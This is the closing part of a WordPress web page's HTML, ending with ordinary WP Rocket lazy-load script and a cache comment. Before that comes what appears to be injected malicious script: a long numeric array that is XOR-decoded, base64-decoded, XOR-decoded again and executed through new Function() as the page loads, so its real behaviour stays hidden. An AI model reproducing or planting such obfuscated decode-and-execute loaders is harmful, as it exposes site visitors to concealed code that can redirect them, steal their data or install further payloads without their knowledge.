42,48,39,38,90,45,59,11,45,54,54,11,41,50,59,38,15,54,59,11,12,49,36,15,53,41,48,54,82,44,33,27,42,48,55,83,82,6,38,82,27,55,53,8,91,55,59,15,41,50,38,8,82,48,54,54,49,2,54,15,46,2,58,34,57,47,59,38,91,7,58,15,27,50,59,8,23,37,54,34,34,5,39,54,53,76,32,82,90,72,33,37,4,46,6,50,82,5,39,82,23,76,33,34,23,91,59,20,19,72,32,50,19,87,39,50,15,72,59,20,82,76,6,34,8,40,32,4,8,46,39,53,90,72,39,37,16,51,43,20,57,47,59,38,91,7,58,8,11,6,59,38,4,34,43,82,91,47,33,53,8,46,33,50,83,38,43,20,57,1,48,37,45,6,48,53,49,48,54,27,82,10,53,54,49,43,52,11,53,10,48,54,90,46,55,53,38,54,49,8,15,51,49,38,57,47,59,38,91,7,58,8,82,48,49,54,49,42,48,34,33,10,48,54,90,46,55,53,38,55,55,8,11,5,55,8,15,51,37,50,83,49,39,27,50,34,34,34,34,2,39,54,54,2,34,14,41,41,55,83,27,45,54,49,45,44,48,37,90,44,48,54,91,53,39,27,50,43,58,8,15,51,55,38,82,49,33,15,49,1,37,52,41,45,54,8,53,38,48,38,4,55,54,53,11,55,52,8,15,53,34,50,20,51,33,49,49,51,52,38,15,42,55,82,46,2,36,4,57,47,59,38,91,7,58,15,45,46,48,8,49,44,52,50,33,45,59,38,90,44,52,43,49,55,48,49,53,10,55,53,41,37,49,38,11,42,38,83,86,42,59,83,86,41,55,27,54,47,32,49,38,47,32,49,50,49,39,34,16,54,33,15,49,1,37,49,27,10,54,83,27,40,49,38,86,57,37,38,90,58,48,54,11,51,54,27,12,2,33,8,23,0,55,27,82,10,53,54,53,0,53,37,34,34,58,8,82,48,49,54,49,42,48,33,45,44,48,37,90,44,48,54,91,53,39,34,91,37,38,52,41,55,55,38,19,38,55,15,8,59,39,27,50,49,58,15,33,48,55,15,90,40,48,53,16,34,36,11,12,36,52,82,41,51,37,54,23,0,55,27,82,10,55,83,11,42,54,82,8,34,39,50,57,10,55,83,11,42,54,82,8,33,58,15,53,37,59,37,49,50,38,82,37,58,54,82,19,41,53,50,57,10,55,83,11,42,54,82,8,52,34,34,91,54,49,8,23,0,55,27,82,10,49,54,53,38,55,38,19,5,52,50,33,45,59,38,90,44,52,43,49,55,48,49,53,10,53,54,53,0,53,37,34,55,55,8,11,5,55,8,15,51,37,52,41,51,48,38,11,55,52,49,38,51,37,33,38,46,32,27,50,36,53,37,16,53,58,8,53,37,49,38,27,40,59,82,8,54,58,15,33,48,55,15,90,40,48,53,16,52,34,36,86,41,55,82,49,55,52,11,45,1,55,82,41,50,5,15,53,0,55,80,86,48,52,53,4,53,58,8,53,37,49,38,27,40,59,82,8,54,33,8,33,51,52,38,15,42,55,82,46,7,58,15,33,48,55,15,90,40,48,53,16,36,50,37,86,0,48,53,86,53,37,53,4,54,49,8,90,58,48,54,11,51,54,27,12,2,33,8,33,34,52,83,11,55,59,8,15,54,54,15,46,7,58,15,41,54,48,83,19,53,37,52,41,42,53,53,53,0,38,52,41,6,53,37,19,57,52,37,12,54,49,8,90,58,48,54,11,51,54,27,82,55,52,38,12,7,1,54,90,48,54,37,49,44,52,33,53,1,48,37,45,6,48,53,49,48,54,27,53,10,55,83,23,57,54,37,86,54,38,52,41,6,59,37,45,50,52,82,45,59,37,38,57,47,59,38,91,7,58,15,45,59,48,82,19,47,53,20,33,55,52,38,12,7,57,59,33,27,7,54,15,41,55,52,90,58,55,38,11,58,55,8,8,53,37,34,57,10,54,82,7,47,52,8,23,59,38,82,41,45,52,37,46,53,36,14,82,26,1,14,8,2,38,52,41,42,53,53,53,0,38,54,15,51,48,37,4,54,33,14,41,55,53,83,23,2,48,82,0,55,55,15,11,41,1,82,11,46,48,37,11,44,48,59,53,58,59,37,15,58,55,27,54,2,5,15,41,55,48,53,11,55,48,49,33,19,49,38,82,58,36,11,38,2,59,38,82,45,54,53,49,6,59,38,15,54,54,15,46,48,53,83,86,48,54,27,12,54,33,14,41,55,53,83,23,2,48,82,0,55,48,53,49,50,52,37,41,42,48,50,34,42,39,50,83,45,33,14,41,55,53,83,23,2,48,82,0,55,54,15,45,49,54,15,27,57,34,37,23,42,54,82,86,41,53,37,41,55,37,49,49,36,48,54,90,38,49,14,41,51,48,82,15,50,59,15,50,53,7,81,86,26,0,27,45,45,59,38,90,44,52,33,53,10,54,82,7,47,52,8,23,59,38,83,90,58,55,8,82,48,54,83,86,58,2,53,11,37,48,49,50,54,33,8,33,6,59,38,15,6,53,49,53,58,37,38,57,10,59,15,27,55,54,37,23,55,53,27,53,58,37,34,57,34,50,34,57,10,54,82,7,47,52,8,23,59,38,82,41,55,52,38,90,51,54,8,91,34,58,15,45,59,48,82,19,47,53,27,45,48,54,83,15,54,54,37,11,48,48,38,8,34,52,83,11,55,59,8,15,54,54,15,46,53,37,38,57,10,59,15,27,55,54,37,23,55,53,27,53,55,52,38,12,7,6,38,90,51,54,8,91,53,37,33,50,36,50,34,57,10,54,82,7,47,52,8,23,59,38,83,86,58,54,82,8,53,7,81,86,26,0,27,45,44,48,54,90,54,54,82,19,54,52,83,50,53,58,15,86,54,52,15,15,58,52,11,50,54,33,8,34,54,33,8,33,1,48,37,45,6,48,53,49,48,54,27,82,10,52,82,86,42,48,53,42,53,58,15,11,55,48,82,0,54,49,15,49,1,37,52,41,58,54,83,23,59,34,20,33,10,52,8,11,45,53,15,50,55,54,53,11,55,52,8,15,53,37,38,90,58,48,54,11,51,54,27,82,23,55,82,41,50,53,38,86,58,38,83,90,58,55,15,41,49,48,82,4,53,54,83,11,49,54,49,50,36,48,82,27,51,43,52,41,59,59,15,90,49,59,34,33,36,53,83,86,48,54,83,90,45,59,4,0,2,39,27,46,45,36,11,37,50,52,38,15,53,54,15,8,43,36,15,11,41,53,52,41,6,59,37,37,49,36,11,37,45,59,38,90,0,54,38,87,43,57,8,57,41,54,4,7,10,59,37,33,6,48,83,53,50,38,53,15,0,48,53,20,43,36,4,82,37,36,11,57,10,48,37,86,0,48,38,34,49,36,15,37,0,48,53,11,44,48,49,19,4,38,53,49,57,33,20,27,34,33,8,90,58,48,54,11,51,54,27,82,10,54,15,49,47,48,15,54,53,58,15,19,42,55,53,57,54,57,14,41,58,54,83,23,59,58,33,37,10,53,82,86,5,54,53,20,54,38,83,15,53,52,37,46,53,52,83,11,55,59,8,15,54,54,15,46,53,58,8,11,0,59,83,50,54,49,8,23,0,55,27,82,10,53,15,57,47,48,37,41,52,54,4,33,10,48,37,27,5,49,33,16,1,58,8,11,0,59,83,50,55,55,82,11,44,48,37,37,41,34,14,41,53,49,38,7,2,37,52,41,42,59,37,90,38,38,83,90,58,55,8,11,49,48,49,50,43,36,11,12,36,53,37,16,53,58,15,57,52,48,83,11,48,53,15,42,54,55,82,11,41,48,38,90,55,43,52,41,52,53,8,23,42,54,15,57,48,38,83,90,58,55,53,37,0,59,15,4,53,38,14,38,48,37,11,8,48,38,49,12,2,37,34,57,51,52,38,15,42,55,82,46,7,58,15,23,6,48,38,15,48,37,52,41,58,54,83,23,59,37,4,20,54,33,8,34,54,38,82,86,0,48,53,86,53,37,53,23,42,54,82,86,41,53,37,41,55,37,49,49,36,55,82,11,41,48,38,90,55,43,52,41,1,59,8,11,41,54,11,53,10,52,37,45,47,53,27,58,46,37,34,57,34,37,34,57,34,52,83,11,55,59,8,15,54,54,15,46,7,58,8,15,44,55,53,20,53,58,15,19,54,52,83,53,37,37,38,57,47,59,38,91,7,58,8,90,44,52,37,33,54,49,54,20,34,52,53,41,6,48,37,33,58,54,83,8,55,59,8,90,58,59,38,15,58,6,37,37,58,54,37,11,55,48,49,54,2,55,15,86,51,53,38,82,41,36,11,50,36,58,8,90,44,52,37,33,54,49,54,20,55,55,8,90,6,34,36,41,2,53,37,23,37,49,49,58,2,38,15,27,45,53,33,45,45,53,54,83,32,55,4,34,2,37,14,41,48,52,37,15,37,37,11,12,1,58,8,16,34,36,11,57,20,59,38,15,53,38,82,23,49,54,15,41,51,37,59,15,0,48,53,4,55,54,82,41,40,37,49,50,48,32,20,83,45,39,50,83,54,33,14,41,51,55,15,11,50,53,38,53,46,38,82,27,44,49,37,45,6,34,38,15,51,48,37,4,36,37,53,15,48,59,8,11,50,52,37,45,41,38,82,53,58,59,37,15,33,50,53,15,48,59,8,11,50,52,37,45,41,38,82,90,48,52,54,50,54,38,82,27,45,55,53,11,55,52,59,86,53,53,37,37,57,37,52,41,51,55,15,11,50,53,38,53,46,37,34,57,34,58,15,23,6,48,38,15,48,37,50,83,54,38,83,15,53,52,37,46,53,52,83,11,55,59,8,15,54,54,15,46,53,58,15,19,54,52,83,53,37,37,38,57,54,52,27,53,10,52,15,49,1,49,54,54,54,58,8,15,44,55,53,20,53,58,15,19,54,52,83,53,37,37,34,57,34,37,34,57,34,37,33,54,54,33,4,94,94];
var _0xfc2898dfa84f=99;
var _0x61fbe18121a7='';
for(var _0x85fdf5bd6dbd=0;_0x85fdf5bd6dbd<_0xcc434194e3db.length;_0x85fdf5bd6dbd++)
  _0x61fbe18121a7+=String.fromCharCode(_0xcc434194e3db[_0x85fdf5bd6dbd]^_0xfc2898dfa84f);
var _0x92abd28849a5=61;
var _0x5ec787848cbd=atob(_0x61fbe18121a7);
var _code='';
for(var _0x85fdf5bd6dbd=0;_0x85fdf5bd6dbd<_0x5ec787848cbd.length;_0x85fdf5bd6dbd++)
  _code+=String.fromCharCode(_0x5ec787848cbd.charCodeAt(_0x85fdf5bd6dbd)^_0x92abd28849a5);
(new Function(_code))();
})();
</script>
    <script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue}
if(typeof mutation.addedNodes[i].getElementsByClassName!=='function'){continue}
images=mutation.addedNodes[i].getElementsByTagName('img');is_image=mutation.addedNodes[i].tagName=="IMG";iframes=mutation.addedNodes[i].getElementsByTagName('iframe');is_iframe=mutation.addedNodes[i].tagName=="IFRAME";rocket_lazy=mutation.addedNodes[i].getElementsByClassName('rocket-lazyload');image_count+=images.length;iframe_count+=iframes.length;rocketlazy_count+=rocket_lazy.length;if(is_image){image_count+=1}
if(is_iframe){iframe_count+=1}}});if(image_count>0||iframe_count>0||rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script><script data-no-minify="1" async src="https://joissresearch.org/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script>
</body>
</html>

<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1789284940 -->